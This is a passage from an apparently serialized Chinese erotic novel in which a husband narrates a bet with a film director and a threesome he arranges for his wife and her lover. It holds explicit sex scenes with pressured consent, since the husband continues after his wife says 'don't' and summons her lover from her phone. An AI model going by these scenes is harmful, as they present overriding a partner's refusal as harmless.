我靠,好浪漫哦,我心里一阵激动伴着例行的翠花酸菜……这还不算完,就见许是受到宁姐姐这声温柔的问候的激励,曾北方同学似乎鼓足勇气探出大半的脸就要朝宁卉的脸上凑去。

是个淫都晓得这小子要干神马,没料等曾北方同学凑过来的嘴快要触到自己的嘴边,宁卉却本能的将头一偏——这让俺心头又是一紧,老婆你可是接招啊,俺策划这场宁公馆好礼物的节目容易吗——还好,接下来老婆的动作还算仁情仁义,见她虽然没应承曾北方的索吻,但是主动将头埋在了曾北方的胸前,顺着曾北方搂着自己后背的双手的自己的身子整个的倒在了曾北方的怀里。

乖乖,老婆此时是周身一丝不挂的啊。我悠然感到身下小宁煮夫一阵欢喜的蹦跶,忒可乐了。

然后,曾北方紧紧的将俺老婆兼他宁姐姐情人搂在怀里一会,然后伸出双手捧起他宁姐姐的脸……

这回老婆没有拒绝,只是头微微抬起,双眼紧闭,朱唇半张……接着我看着的画面是老婆跟她的小情人如同那张海边的照片般的再次四唇相缠,热烈的吻在了一起……

Bingo,搞定!我心头的一块石头此时才算真正落地,我正要思忖着下一步该咋办,是要将三P进行到底还是让他们独自行欢乐?

这是一个问题。

老子的电话这当儿来短信,老子一看,居然还是络腮胡的,切,这崽儿是不依不饶哈:“哥们,有空没,出来坐坐撒,请你喝酒。”

我看着短信笑了笑,这会俺那有心思理你这茬嘛,我赶紧将短信回过去:“今儿有事谢了,改天嘛。”

然后俺略一思忖,又发了条短信,这回是给老婆的:“老婆,我出去了,今天本来是想送你一个三P的礼物,但我现在改变了主意,我想给你们留一些单独的时间叙叙旧情,三P嘛,以后有的是时间哈,别辜负老公哈。”

短信发完我出得门去,一会儿老婆的短信回过来了:“老公,你真走了啊?老公谢谢你的礼物。”

我出门找了个网吧然后将围棋杀将起来消磨时间,哈哈哈,奇了怪了今晚老子状态奇好,见佛杀佛,一盘都木有输!约莫过了两个小时,宁卉的短信发过来了:“老公,他走了,你回来吧。”

我赶紧结账出了网吧,赶紧将电话打过去:“老婆,嗯,怎么样?”

“什么怎么样?”

宁卉的声音嫣嫣的酥软。

“别急老公了,做……做了没?”

我大气不敢出。

“嗯,做了啊。你叫我别辜负老公啊。”

电话里老婆那熟悉的风情劲似乎又回来了,我心头一阵狂喜。

“乌拉,老婆我爱死你了!”

我对着电话就是一阵咋呼,“他怎么就走了呢?”

“嗯,他说他知道他应该扮演的角色,说接下来的时间我该属于我老公的啊。”

“我靠,这神马觉悟啊?看嘛,孩子都是可以教育的嘛,我马上回来了啊老婆。”

我挂断电话,心里正夸曾北方同学真心董事了呢,曾北方同学的短信这时候也来了:“宁哥,我不知道该说什么,真的谢谢你。”

看嘛,多么懂事的孩子。

于是我屁颠屁颠的赶回家,一回家看见宁卉正脸蛋飞起女人事后那种煞是迷人的红云,酥胸半露盖在睡毯半躺在床上,我便不由分说的一个饿虎扑食朝老婆扑去,没料到宁卉竟然伸出手阻挡我,咬着嘴皮一付恶婆子的样态对我狠狠来了句:“宁煮夫,你胆子越来越大了哈,去!去把键盘拿过来!”

神马情况?这女人从温柔风情到恶婆子敢情就十分钟的时间?俺这还是得跪键盘啊?

老婆这重新跟他小情人接上头,纵使三P最后没搞成,但留得青山在,到处都是柴,这让我心情大好。接下来让我焦心的该是小燕子妹妹了。随后几天我一通短信电话联系才联系上洛小燕。不料,得到的消息是小燕子妹妹又上外地演出去了,据我得到的可靠的圈内线报,小燕子妹妹的演艺事业在仇老板的助推下正蒸蒸日上。

这天,我正难得在报社坐班,乔老大通知我去他办公室,说要给吩咐个重要的任务。乔老大要我今晚出席一个本市媒体跟娱乐界的联谊酒会,还吩咐俺必须盛装出席,并携带夫人,说是今儿好多市里业界的大人物大佬们都会到场。

我靠,老子最怕这个,一遇到这些个所谓场面上的人老子就会将本来如此和善的面容转换成苦大仇深,简单滴说,我真心不喜欢这些个体制内。但一番推脱乔老大愣是没同意,还一番语重心长的跟我说到:“你知道彭副总编马上到点退休了,这样的场合让你去社里是为了给你铺垫把你推出来,你是真傻还是装傻?这是政治任务,你不去也得去!”

得,除了那次老子去K市没给我打掩护外,乔老大还真哥们,我晓得他一直力在推我接王副总编退下来的班。

晚上,老子木有办法真的只好携老婆盛装出席了,宁卉在这种场合得体的打扮与应酬自然给我长了不少脸,酒会上因为老子如此美貌如花的夫人而朝我投来的各种羡慕嫉妒恨的眼光我也是见惯不惊,我都懒得去得瑟鸟。让我着实惊了一跳的倒是,这世界果真如此NND的小。

在宁卉一袭红色的晚礼服挽着我的手跟各路神仙虚情假意的把酒言欢,一双眼睛却紧紧在我们身影背后如影相随……

一艾我跟宁卉有点空闲的当儿,那双眼睛随着一个身影如鬼似魅的飘然到我跟宁卉的跟前。

我靠!络腮胡!

“啊,你……你怎么在这儿?”

我一脸的惊异与那种装都装不出来的紧张。

“幸会,我怎么不可以在这儿呢,我可是导演啊,好歹咱也属于娱乐界人士哈。”

络腮胡说话时一付千里缉凶终于一朝功成的神情。

我日,导演很不得了,还是德国的鸟?老子心里碎了一口。

络腮胡看了看我,然后眼睛就一直直勾勾的盯着宁卉一付万般不解的眼光,我晓得他是认出来了站在我身边的是那晚他朝思暮想的夜爱女神。

宁卉自然认出了眼前这位夜爱的络腮牛哥,一阵短暂的尴尬过后,宁卉到首先沉住了气,对着络腮哥报以礼貌的一笑,然后对我点了点头:“你们聊老公,我去下洗手间。”

“老……老公?”

这下轮到络腮胡震惊鸟,老子相信他这会是那种世界真奇妙加对老子万般不服气的震惊,俺这吊样,怎么会有如此女神级别的老婆呢。

络腮胡赶紧把俺拉到一旁一个僻静的角落,急咧咧的问我:“什么情况?她……她是你老婆?”

我靠,这下没法再往下编故事了,我没吱声,只是笑了笑点了点头,“不好意思啊,那晚忽悠了哥们一千大洋,不过都加倍还给你了哟,咱两清了不是。”

“唉,咱哥们说钱不钱的干啥咧,多不亲热。”

络腮哥这下到面容悠地活颜悦色了下来,明显跟老子套着近乎,一把捏身过来搂着我的肩膀,“哥们,其他不说,咱懂,那晚,你真不像故意要忽悠俺一千块钱的局面,咱都是聪明人,我也有这个圈子认得的朋友。”

“什么圈子,听不懂你说啥子嘛?”

我其实听懂了络腮胡说的那个圈子是啥意思,老子一头汗都下来了。

“咱心知肚明,别弯弯绕了,我知道你们两口子玩的是啥游戏。放心,我牛哥也不是坏人,我不会乱来,我只想跟你打个赌,玩一把好不好?”

“什么……赌?”

我咽了一摊口水。

络腮胡接着压低了声音说到:“我会想办法跟尊夫人正常接触,哥们只要不在其中故意阻拦就行了,如果两个月内,当着你的面,尊夫人自愿跟我接吻了,注意,我是说两个条件哈,当着你面,并且她自愿的哈,如果尊夫人当着你的面自愿跟我接吻了,就算我赢,赢了哥们可得帮兄弟一把了。”

神马情况?这牛皮也吹得太大了吧?他是不晓得俺老婆是高智商的娘家妇女哇?”

那你输了呢?”

我眼睛一瞥,这赌有赢有就输,老子要看这价码值不值当哈。

“输了那天你挂我那辆车归你,八成新,市面随便能买个二十万。”

说完,络腮胡眯着眼睛还来了句:“还附带福利的哈,我那里漂亮的小演员多,哥们看起了谁我帮你撮合。”

我靠!其实这车跟那些个小演员老子都不稀罕,这络腮胡牛哥如何去圆他的牛皮倒真心有点让我陡升好奇之心。

“嗯,我想想吧。”

我思忖了一番,然后末了给络腮牛哥丢下这句既没说赌,也没说不赌的话来。

从酒会回来,刚一到家,宁卉就接到曾大侠打来电话,宁卉接电话时就在俺身边,电话里曾大侠咋呼些啥我都听清楚了,是说他们大学都毕业好几年了,有热心的同学正张罗着要举办个同学会啥的……

第76章:不三P,毋宁……煮夫

在夜爱忽悠了络腮胡同志一千大洋的赌局其实是这样一个赌局:赌是赌了,局却是设了人家未赌先输的局。而这次别个玩的却是真钢,我雀湿没想到这哥们如此疯狂,为这明显看不到前途的赌局show了一把价值二十万的hand。

不过,这也反映出俺老婆是如何的让男人疯狂哈,所以当绿公也不都是憋屈的嘛,比如当看到这么多男人都急吼吼的眼馋着你老婆的美色口水滴答的样子,你不绿一把你又咋知道咱们宁煮夫同志心头的爽字是咋个写的捏。

我实在想象不出,这小子有啥招能让宁卉为他心甘情愿献吻,NND还要当着老子的面!虽说夜爱那晚俺老婆也被络腮哥亲自咸猪手了一把,但那毕竟是在特定情境下,像现在这不着边不着际,八字都没一撇的状况,难道他要跟老子表演个阿汤哥式的missionimpossible不成?

接,还是不接招?这是一个问题。

宁煮夫同志做着激烈的思想斗争,当然,络腮胡同志这种把泡妞当成挑战高难度极限运动的勇气与精神还是让人十分钦佩滴。更主要的是,这个赌局的谜底NND实在太具有诱惑力了,络腮胡这个关子卖得也忒大,以至于咱们宁煮夫同志都找不出拒绝玩这一把赌的理由。

况且最关键的是,对于俺老婆,其实这赌局看起来也并没有什么负面的影响哈,你想嘛,络腮哥提出的条件是宁卉跟他接吻必须要是自愿的,自愿意味着神马?自愿说明俺老婆对他要到了那个份上才会有如此亲热的举动,既然都到了那个份上啦,嘿嘿,你懂的,这个赌局到时候俺还不是横竖都是赢啊?

俺基本上决定接下这招,只不过在答应之前,我想了解哈这位络腮胡同志到底是何方神圣,到底啥来路和背景。果真,第二天中午刚过,络腮胡打电话来问情况的时候,我答应了先出去跟他喝个茶聊聊先再说。

话说这几次见到的络腮牛哥架势都挺牛的,在夜爱跟路上跟他的车车擦挂那次他身边的几位都像他的跟班,我心里想,今儿在茶楼这哥们要是也如此这般四不着六的带着跟班来跟老子吆喝,这赌局老子就直接跟他挂免谈牌了。

还好,络腮哥的智商至少还算正常,他今儿一个人来滴。

稍事寒暄,我就把话题引到了了解这哥们的背景上。络腮胡也心照不宣,晓得接受绿公的政治审查,是成为奸夫万里长征的第一步。

看嘛,当绿公还能cosplay哈FBI的赶脚哈。

话说络腮胡同志的简历是这样滴:此哥们本地人,比俺大几岁,也属于打小被文艺细胞毒害的那种成天神神兮兮的青年。那个年代的人但凡文艺一点的都或多或少把电影当做自己梦中情人来成天做梦。后来这哥们还真把这个梦或多或少的做成了,以比法定年龄只差一岁的高龄考上了不是北电,中戏与上戏的某个二流的大学影视编导系,也还算个科班出生。后来牛哥上北京当了北漂,在各种草台班子混迹着,虽然没捞着啥正式的导演的活计,但自己写的剧本却被投资方看中拍成了电视剧,从此捞到了自己的第一桶金。此哥们对于为什么后来结束了北漂回到家乡讳莫如深,只告诉我他没有任何犯罪记录,到如今良民一个。现在,牛哥开了家文化传播公司,他说他自己还有一个创作工作室,会弄些实验戏剧啥的东东,在圈子算也小有名气。“弄这些实验戏剧,是我守着我的导演梦的最后一颗稻草。”

牛哥特深沉的对我说。

另外牛哥已婚,太太在国外,虽未离婚但已经分居N年,有个女儿跟着他,平时跟爷爷奶奶住在一起。据他说跟他太太青梅竹马,说来感情还多好的,但牛太太几年前出国留学完了就在当地找了工作不愿回来还张罗着拿绿卡,这让他很痛苦,但为了孩子大家都拖着没离。为了使我相信,牛哥特把他随身带着的一张全家福拿给我审查了一番。照片上他女儿三四岁的样子,模样挺乖的,一看就是美人胚子,有撒子样的女儿就有撒子样的妈哈,牛太太看上去娟秀动人,带着个眼镜更添了把别样的不凡气质。

由于都是所谓臭味相投的文艺青年,络腮胡在赢得俺的信任上无形中占了些便宜。加上这哥们一再诚恳的表达了自己不会乱来,而且还加了个我有权利可以随时终止赌局的条款,这么优厚的条件终于让俺终无法拒绝这个奇特的,我也不知道最终会是神马结局的赌局。

等我答应后,这小子突然问我要了曾大侠的电话。我问他为啥要人家电话,牛哥不着边际的来了沙家浜的台词,“这个女人不简单。”

然后神秘莫测的冲老子笑了笑。

末了,牛哥说为了庆祝赌局签约成功非要请我吃饭,我不好推脱得,就跟牛哥去喝了两杯,席间几杯酒下肚,一来二去的,加上电影这么个对于宁煮夫同志说起来永不知疲倦的话题,宁煮夫同志跟牛哥一顿饭下来,竟然就生出点相见恨晚,称兄道弟的意思鸟。

话说宁卉生日过后这几天,曾大侠打电话给宁卉说同学会时间的时候——老婆大学同学会就定在这周的周末——来询问过生日那晚的情况,俺作了如实相报。

曾大侠对俺当晚把老婆的三P搞成给宁卉与她的小情人互述离别的衷肠的独处的高风亮节表示了由衷的钦佩。说俺这一招实在是高家庄的高。

但宁煮夫同志的心里边那颗三P的种子算是种下了,怎么都像个幽灵,这么些天,宁煮夫同志觉得,都在自己心里边时时萦绕着挥之不去。让人着急的是,曾北方同学这时候完全改变了当初对俺老婆那种三天两头就要提出约会的急吼吼的风格,这都过去好几天了愣是不提要跟他宁姐姐约会的事,只是几乎每晚都要发来短信跟他宁姐姐问候一声然后再说个晚安啥的,还每次都要附带来句“带问宁哥好”多么有礼貌的孩子。

老婆也不提要去见哈人家啥的,未必这生日礼物就只管生日那天就完了?俺心头一阵急,这么下去,还……三P个铲铲啊?

当绿公有了一颗三P的心,不三P,毋宁死。

说错了,不三P,毋宁煮夫!

这天,宁卉下班说要跟曾大侠逛会商场,等回到家一进门就将一大包装满东西的商场那种纸袋搁在沙发上。袋子没搁稳,里面有些看得出来是刚买的各种东东倒了出来。

在一些日常的物件中,一打看上去十分打眼的黑色的男士袜子映入俺眼帘,袜子本身倒木有什么让我特别感到吃惊的地方,我只是突然想起宁卉前一阵才给我买了袜子的,便顺口问了句:“老婆,你不是才给我买了袜子没多久得哇,我穿都穿不过来呢。你又买楞多,你要拿去练摊哇?”

“啊?”

坐在沙发上正大口喝着水的宁卉张大眼睛看了我一眼,然后嘴里包着一大口的对我有些尴尬的笑了笑,“嘻嘻,不是……不是给你买的啦。”

什么情况?我瞬间便反应过来,有些激动了,“给,给他买的?”

“嗯。”

宁卉把嘴里包着的那口水终于咽了下去,对我眨眨眼,“那天我看他来,脚上的袜子的都磨破了还在穿,唉,这孩子一个人在外,父母又不在身边,你们男人都一个德性,哪里知道自己照顾自己嘛,所以刚才跟眉媚逛街的时候……”

“哦,原来老婆对小情人是母爱大爆发了哦。”

我心头一阵狂喜,敢情老婆心里活络着呢,“哈哈,人家将人送给你,你送人家袜子,哈哈哈,老婆你好会做生意哦。”

“去你的!”

宁卉一个粉拳朝我擂来,“哦,老公,我也给你买了条洗脸毛巾,你的洗脸毛巾原来跟我一个颜色,你老是拿错人家的。这次买了新的不许拿错了哦。”

“啥颜色的?”

宁卉接着从包里拿出了一条洗脸毛巾给我看,然后那颜色俺一看便被霎时雷得石化鸟。

NND,老婆那新买的洗脸毛巾的颜色选了个绿色滴!

不得不说老婆太幽默鸟,这宁煮夫同志脸皮也厚,接过洗脸毛巾诞着脸的一笑,“嘿嘿,老婆你好会选颜色哦,你这是不仅给老公戴绿帽子,还给老公买绿帕子哦。”

“啊?”

宁卉这才反应过来,似乎觉得自己是做的不大妥当,“老公我真不是故意的啦,人家没那意思啦?我……我……我就是随便拿了条呗,觉得这绿的跟原来的红的颜色区别大嘛。”

我靠,现在这洗脸帕子都按红杏老婆绿色老公的整了,这宁公馆可真欢乐。

我本来想探过身去一把把宁卉抱着再嘴里咋呼“嗯嗯老公就喜欢这个颜色的啦”的咋呼一番,但俺突然生出个念头,便故意把嘴嘟得老高,故作一脸的委屈状:“哼,这还不算!”

“咋了老公?”

宁卉看上去有些紧张,“那……那我重新给你买一根好不好嘛?”

“我没说帕子颜色。”

我头一偏,一脸的凛然。

“啊咋了老公,你真生气了?”

这回是宁卉过来一把粘着我,咬着嘴皮伸手摇着我胳膊。

“哼,跟老公你买帕子,跟情人你买袜子,啥意思捏?你不晓得多情袜子无情帕啊?”

我转眼瞟了宁卉一眼,看着宁卉霎时都要急红的脸蛋心头偷着就是一阵乐。

“啊?老公……我真没这意思啦,我……我……”

宁卉真急得有些话都说不利落了,“老公你不要生气嘛,我真没这样想了。”

“哼,我生气了。”

我学着宁卉眨巴了下眼睛,然后卖了个很长的关子才开口,“要老公不生气,只有一个办法。”

“什么办法?老公对不起哈,只要你不生气什么办法都行啊。”

宁卉赶紧伏到我脸上来啵了一口娇滴滴的哄我到。

“好吧,就只有这个办法了。”

宁煮夫把脖子扛得直直的,小眼睛滴溜滴溜的转,“马上去叫北方过来拿袜子。”

“啊?”

宁卉张大嘴巴完全没想到宁煮夫来这一招,看着宁煮夫那标志性的一脸要坏笑不坏笑的样子立马明白了宁煮夫那一肚子的坏水,连忙伸出手又是给我一拳,“原来你就憋着这个呢,哼,我才不喊。”

“喊不喊?”

我欲作呼天抢地大哭状。

“唉唉,你……”

宁卉一付完全拿宁煮夫没撤的无奈状来了句,“我知道,你不变态就你活不了的。哼,我不喊,要喊你自个喊呗。”

宁卉眼睛也不看我,但我却瞥见这时候宁卉的眼里突然浮现着一汪似水的柔情——一般人是看不出来滴。

“嘿嘿,”

俺要听的就是这个,我赶紧欠过身去搂着在一旁沙发坐着的老婆,一口就往脸蛋上啜了一口,“待会他来了老公就不走了。”

“啊?”

宁卉听我这样突然身子一紧,明显有些失措与张皇,“老公,你……你要干嘛?”

“你知道我要干嘛宝贝,那晚老公让你们单独互述了衷肠,今晚可不行了,老公要一起来!”

说完我一口咬着宁卉的嘴亲吻起来,其实宁卉刚才身体突然的紧张就已经明白了我的意思,现在来听俺这么一说连脸蛋都突然发起烫来,嘴里嘤咛到,“老公……别……嗯……”

宁卉的推脱的嗯嗯声在耳,但这实在阻挡不住已经被那颗火热的三P的心熔化了的宁煮夫用老婆的手机给曾北方同学发了短信:“北方,现在有空吗?过我家来,姐给你买了点东西。”

很快曾北方回了短信,他宁姐姐的召唤还了得,现在就是外星人登陆地球鸟恐怕也阻止不了这小子了。

半小时的光景,曾北方果真气喘嘘嘘的现身宁公馆。

这当儿我已经侍候宁卉洗漱停当,好哄歹哄让她把北方送他的那条吊带睡衣穿上哄倒床上正看着书呢。

我出去客厅给曾北方开的门,这小子看我怔了下,估摸着现在宁公馆在曾北方心目中的形象相当于默罕默德们心目中的圣地麦加了,就见他浑身看出还是有些不自在的冲我傻乐似的一笑,“宁哥在家,宁姐说……叫我来拿什么东西?”

“哦,来了就好。”

我笑了笑搞得跟曾北方同学很熟络的样子招呼着他,力图最大限度的降低小朋友的紧张感,“你宁姐在卧室呢,你自己去看呗她给你买了啥东西。哦,还有,今晚我不走了。”

最后这句直接就让曾北方的嘴巴整出了个O字,他当然晓得这句话是撒子意思了,而曾北方同学的脚上,因为进门换上拖鞋俺看得见,那脚上的袜子果真有个似破未破的洞也正好NND是个O字。

曾北方在我推搡下怯生生的进来卧室,这一进来不要紧,要紧的是刚才还半躺在床上看书的宁卉这会尽然蜷缩着躺在床上让睡毯全然将头的蒙着——哈哈哈,老婆这是不好意思了。

我伸手拍了拍北方让他开口,曾北方同学的身子扭捏了下,才似蚊般的嘟囔了声:“宁姐,我,我来了。东西……东西呢?”

“我没叫你来。”

宁卉蒙在被子里声音嗡嗡的来了句。

突然被他宁姐姐这么呛了句,曾北方有些更加手足无措,无助的看着我,而我仍旧许以他一个淡定的微笑,现在俺不仅要稳住老婆的情绪,还得稳住她小情人的情绪——打麻将的都知道最痛苦不过三差一,现在这三P要是哪一方出了状况就搞成三P最痛苦的状况了——二差一哈。

要是老公老婆差个奸夫,奸夫老婆差个老公还好说,这老公奸夫差个老婆还就啥P都玩不成鸟。

我赶紧示意曾北方朝床沿坐过去,然后自个先从另外一边上了床,隔着宁卉蒙着的毯子将脸凑在她耳边:“人家人都在这儿了,你这蒙着头是啥意思呢?当蒙面女侠啊?”

就见宁卉的头在毯子下纠结的悉索一阵,才见她慢慢的捞起毯子将大半边脸露出来,看着屋里两个大男人一番戚戚惶惶的样子,嘴皮一咬,自己到忍俊不禁的笑了起来:“是他……”

宁卉表情期期艾艾的指着我,然后看了看北方,“是他叫你来的。”

宁卉这一笑,顿时将屋里紧张的空气连着曾北方同学脸上紧张的脸色瞬间化解,曾北方露出一排白得跟瓷似的牙齿咧嘴一笑,然后俺就立马看见了宁卉的上弯月水亮水亮都能把曾北方憨憨的笑容映在眼里。

“哦,北方,我给你买了些袜子,”

宁卉眼睛瞅了瞅曾北方的脚,轻轻的说了声。

“谢谢宁姐,”

曾北方低头不好意思的看了看自己破了洞的袜子,然后这下才鼓足勇气坐下来。看了看他宁姐姐,又看了看我,赶脚是小朋友被阿姨发了糖糖但不知道是不是该立马剥开吃掉的样子。

“就嘴巴谢了就行了啊?”

俺这句明显是冲着添薪加柴来的,说着,我轻轻的拉起宁卉的身子让她靠在我的身上,这时候宁卉盖在身上的毯子完全从上半身滑落了下来,那本来就能露出半边酥胸的吊带现在正好将宁卉胸前两只挺拔的雪乳通通透透的露出了大半来,有一只甚至都隐隐约约看见半个娇艳的乳头勒在吊带之外。

这时候不晓得宁卉感到一股热量木有,反正我刹那都感到曾北方的射过来的目光纵使仍旧有些逡巡,但那温度却瞬间似乎将喜马拉雅山上的雪烧化。

接着我伸手进到宁卉的吊带……

“嗯嗯,”

宁卉立马感觉我手上的异动,连忙伸手出来阻拦,但一切都晚了,她的乳头已经先于她的手感受到我手指的捻弄。

“呜呜,”

宁卉本能的轻喘一声。

曾北方此时已经双眼发直,宁卉的身体被那种乳头被突袭的快感轻轻的拉扯着,而眼睛不敢看北方,只是嘴里一个劲的伴着娇喘的嘤咛着:“别……别……老公。”

箭在弦上都不能搁下来了,况且现在箭已出弓,我手指继续捻着宁卉的乳头,还故意将睡衣扒拉了半边让我的手指撩拨的乳头如熟透的樱桃彻底展现在曾北方同学的眼前。

然后,我看见宁卉的另外一只手在空中不停的比划着,似乎要抓住什么,又似乎在拒绝着什么。

我赶紧准确的捉住了那只手,感觉宁卉的手心都有细细的汗珠渗出,然后我示意曾北方把手伸过来,然后将老婆纤长细嫩的如棉似缎的手掌交到了曾北方的手上。

“嗯嗯,”

宁卉的手不经意的缩了一下,但我给了曾北方同学一个坚定的眼神,曾北方还是紧紧的攥住他宁姐姐的手没有松开。

然后我轻轻从后面将宁卉的身子托起朝曾北方推过去,宁卉的身体不停的扭捏着,使我感觉老婆的身子里面有一颗纠结的心,愿意留在我身体上与那种愿意迎奉过去的期待正好各占一半,好一个美娇娘的欲拒还迎。

而我的身体似乎也开始有些颤抖,因为,接下来我分明感觉宁卉的身体被一股不可抑制的力量带了过去,等我稍稍愣神的当儿,宁卉的整个身子已经像只小鸡般的全部投射在曾北方同学的身上,我感觉刚才宁卉因为快感与紧张绷紧的身体瞬间像夏天的棉花全然瘫软了下来。

然后,我看见宁卉仰着脖子,双唇微微翕张,在曾北方最后一眼说不清是感激还是惶然还是早已被欲情点燃的目光投射于我之后,曾北方的眼睛一闭,完全一副豁出去的劲头就将自己的嘴唇张开紧紧覆盖在了他宁姐姐的香唇上。

“哧哧,”

一艾四唇相接,我分明听到似水撒泼在燃烧的火炭上的声音。

我只稍微头一偏,只咫尺一个头的距离,宁卉如何跟曾北方同学四唇绞合翕动的唇线都纤毫毕露的展现在我眼前。俩人的眼睛都闭着在动情的互相吮吸着唇舌,当宁卉的舌头从紧紧无缝绞合的间隙被我看见正伸入在曾北方的嘴里被疯狂的吮吸时,而老婆的脸上伴着轻轻的哼唱一脸陶醉的神情随之而来时,俺小宁煮夫今夜的第一个硬点被激发鸟,在裤兜里,小宁煮夫不可抑制的就蹦跶起来,然后,一直到那晚节目结束就没软下来过。

然后我感到身体全身的每一根神经都被击打般的哆嗦了一下,这时候宁卉的一只手一直在我手里,感觉得出来宁卉一直不愿那只手离开我的牵引——这像极了高高在天空飞翔的风筝的寓意,那只手,是我永远攥在手心的线头子。

我知道我必须做点什么,我赶紧靠过身去从身后紧紧搂着宁卉,然后将脸紧紧从身后贴着宁卉的脖颈,嘴唇触摸到宁卉已经开始发烫的耳垂,我伸出舌头,在宁卉仍旧忘情跟她的小情人咬着嘴皮的当儿,温柔的开始舔弄着那美如月钩的耳垂。

宁卉的身体突然痉挛了一下,被吻着的嘴发出的气息与咏叹是这样滴:“嗯嗯……哦嗯嗯……嗯嗯……”

然后我感觉宁卉的手比刚才更用力的力量紧紧攥住我,而我已经不知道是有意还是无意,因为我从宁卉身后突然的加力,让宁卉胸前的乳房被紧紧的贴在了曾北方胸前。

宁卉的身子已经软如瘫泥,轻如燕毛,正气息呢喃的被两具雄性的身体夹在中间,享受着两个男人最柔情却火山般的口舌抵弄。

“啊——”

宁卉突然娇喘一声,然后头一偏,嘴唇从曾北方的嘴里脱离出来,然后微微靠向我,眼神最是不胜娇媚的迷离。

我赶紧伸过头去,轻轻将宁卉的头掰过来,张开嘴接住了老婆半张着嘴在喘息的嘴唇,脑子纵使悠地划过老婆此时嘴里已经满是她小情人唾液的闪念,但已经没有什么力量能阻止自己将老婆那津液裹挟的香舌叼在嘴里就是一阵狂乱的吮吸。

“嗯嗯……”

宁卉的呻吟越发娇软。

然后我感觉曾北方似乎已经建立了配合意识,见他将他宁姐姐胸前的睡衣扒拉开,将脸埋在宁卉的胸前用嘴啄住宁卉已经翘挺红颜的乳头轮流吮吸起来……

“啊哦,”

在曾北方对自己胸乳迅猛的攻击下早已不胜欲念情动的老婆终于重重的喘叹了一声,舌头露在外半边的就身子一软,将跟我接吻的嘴挪开,然后一脸似水如泥般瘫软在曾北方的怀里。

然后曾北方惜香怜玉般的再次捧起他宁姐姐的脸,一阵如涛的吻雨再次落满老婆的口腔。

老婆跟她小情人继续亲嘴咂乳,疯狂缠绵的当儿,我抽个空将自己身上的衣物扒拉了个精光,然后我示意北方将宁卉放躺在床上,让他将老婆的睡衣连同黑色蕾丝边的小内内都扒拉了下来,过程中宁卉知道曾北方在作神马,一番似拒还迎的扭结后便被曾北方剥了个清洁溜溜,以除了双腿间一团簇黑与胸前那一樱桃的深红的洁无疵瑕的雪白将身体展露无遗。

一会儿,宁公馆卧室的床上,历史性的迎来了两男一女的三具裸体,是所有三P中最具魅惑与人性的搭配,老公,老婆与奸夫……

这是宁公馆绿色工程里程碑的时刻!

当一具美如夏花般的裸体纠缠在两具男性的裸体之间,当这具裸体是你老婆的,宁煮夫同志现在有多激动,宁煮夫对世事感叹就有多唏嘘。

有些人爱老婆是不许任何别的男人染指自己老婆,然后自己在外面彩旗飘飘。

宁煮夫同志爱老婆是让自己头上绿帽漫天飞不说还让老婆同时跟老公情人三P。

让老婆体验那种被两个男人极尽呵护与侍奉到天堂般的感觉。

好嘛,你信与不信,这就是宁煮夫同志爱老婆的方式。

纵使曾北方的身体只能用大理石或者雕塑般刚性的词汇形容,特别那勃起如钩子般漂亮的鸡巴,俺没法从硬件上跟人家比,但好在今天不是两个男人的操屄比武,是两个男人必须配合着让俺老婆达到身心最愉悦的境地。

当宁卉扭捏一番,用惶然的眼神在得到我最肯定的鼓励之后,终于将曾北方同学早已勃起的阴茎双手捧着含在了自己嘴里,曾北方是半跪在床前,将身下勃起的鸡巴支着让他宁姐姐俯身埋在他的双腿之间含吸,而我要做的只是将自己的脸朝老婆的身下滑去,轻轻分开老婆雪藕般的大腿,此时老婆大腿的内侧都已经被洪浪染湿,我伸出舌头便就着那一滴快要滴落在床单上的蜜液的先锋裹挟而上,一直探到宁卉被丛林隐没濡湿的花蕾,然后美滋滋的一番咂弄起来。

平时我在为宁卉口交时,眼睛总是目不转睛滴,美不胜收滴欣赏着宁卉娇嫩的花蕾与肉瓣在我嘴里如何跳动着变换着颜色与湿润,这当儿,我却不能淡定的不停瞟着宁卉的嘴被她小情人的鸡巴抽插着的状况,那嘴儿含着别的男人的鸡巴一进一出的模样跟下面的水淋淋的嘴儿视觉的双重刺激是如此强烈,惹得俺小宁煮夫好几次都精虫嗷嗷上涌差点失守。

不晓得是不是俺的心理作用,我只觉得今次老婆蜜地里的水儿流得特别欢畅,纵使我嘴里不停的吞咽却总是有更多的蜜液流入到我嘴里来。

宁卉在曾北方阴茎上口舌的纵使裹挟十分娴熟,但仍然,在我瞟过去的眼光里总能接触到老婆时而娇羞,时而激奋的眼光,而每次跟老婆的眼光相触,俺总能感到一口香甜的蜜液渗入口中然后滚烫的双腿紧紧将俺的脸夹住……

好几次,宁卉的身体都开始剧烈的痉挛,似乎奔着高潮而去,但每当这当儿我总是停下动作,及时刹车——别无其他,宁公馆三P手册第某款某条写着:老婆的第一次高潮留给奸夫才是硬道理。

说时迟,那时快,我估摸着这样下去老婆的高潮总难免会在我嘴里到来。我赶紧示意曾北方启动下一个程序。

“啊——”

我不知道宁公馆外面的夜空是不是此时正好有流星划过,而当宁卉跪爬着伏在我的胸前,把两瓣雪白的翘臀高高的迎奉给北方从身后插进来的阴茎时,那一声酥然的叫声像极了天空划过的流星,视觉的璀璨化作骨髓里的激越,化作了两个将这个女人当做毕生之爱的男人最雄性的荷尔蒙。

曾北方的抽插一如既往的挺拔有力,如同帐篷里四人大被同眠的那晚我所见到的那般的深进浅出,那般的力道万钧,那般的销魂蚀骨,那啪啪啪刚芯肉棒在女人娇嫩的蜜地水乡里的搅动惊起的不只是宁卉身心俱欢的畅快,惊动的更是宁煮夫同志看着老婆无上的快乐中那种无比的幸福之情。

宁卉的身下已经有一摊水迹浸湿了床单,宁卉试图握着我的鸡巴放在嘴里,但每每曾北方在身后的抽插是如此有力以至她每每不能准确的握着我的的鸡巴,放在嘴里一次总是会被无法抑制的呻吟将它吐出。

无数次在A片里见过的场景在我眼里尽显,只是今夜,我无需再将片片里正被两个男人的鸡巴侍弄着的女优想象成俺老婆,因为此时老婆正千真万确的叼着俺鸡巴的同时,身下的屄却被另外一个男人的鸡巴疯狂的叼着,插着,在今夜如此淫靡的景象中俺老婆果真成了如假包换的女主角。

但如果你以为这就是为你所爱的女人设计的三P的全部含义,那你就错了——你听过有女人在同时跟两个男人做爱时能说出这样的话吗?

好嘛我告诉你,当宁卉在曾北方身后的鸡巴如浪滔天般冲击的抽插下达到一次一次的高潮时,我抬起身来,紧紧拉着老婆的手,将嘴凑近老婆的耳边,一声声的呼唤到,“老婆,好吗?老婆舒服吗?”

“啊啊啊……coming!coming!”

